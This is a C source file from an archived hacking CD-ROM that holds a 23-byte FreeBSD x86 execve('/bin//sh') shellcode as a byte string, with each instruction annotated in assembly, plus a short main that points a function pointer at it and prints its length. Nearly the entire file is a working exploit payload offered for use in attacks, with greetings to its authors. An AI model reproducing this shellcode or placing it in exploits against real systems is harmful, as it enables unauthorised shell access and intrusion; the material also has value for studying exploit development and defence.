home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / shellcode / freebsd / execve_binsh.c next >
Encoding:
C/C++ Source or Header  |  2001-03-07  |  1.1 KB  |  25 lines

  1. /* FreeBSD 23 byte execve code. Greetz to anathema, the first who published  *
  2.  * this way of writing shellcodes.                                           *
  3.  *  greetz to preedator                              marcetam                *
  4.  *                                                admin@marcetam.net         *
  5.  ****************************************************************************/
  6.  
  7. char fbsd_execve[]=
  8.   "\x99"                  /* cdq              */
  9.   "\x52"                  /* push %edx        */
  10.   "\x68\x6e\x2f\x73\x68"  /* push $0x68732f6e */
  11.   "\x68\x2f\x2f\x62\x69"  /* push $0x69622f2f */
  12.   "\x89\xe3"              /* movl %esp,%ebx   */
  13.   "\x51"                  /* push %ecx - or %edx :) */
  14.   "\x52"                  /* push %edx - or %ecx :) */
  15.   "\x53"                  /* push %ebx        */
  16.   "\x53"                  /* push %ebx        */
  17.   "\x6a\x3b"              /* push $0x3b       */
  18.   "\x58"                  /* pop %eax         */
  19.   "\xcd\x80";             /* int $0x80        */
  20.  
  21. int main() {
  22.   void (*run)()=(void *)fbsd_execve;
  23.   printf("%d bytes \n",strlen(fbsd_execve));
  24. }
  25.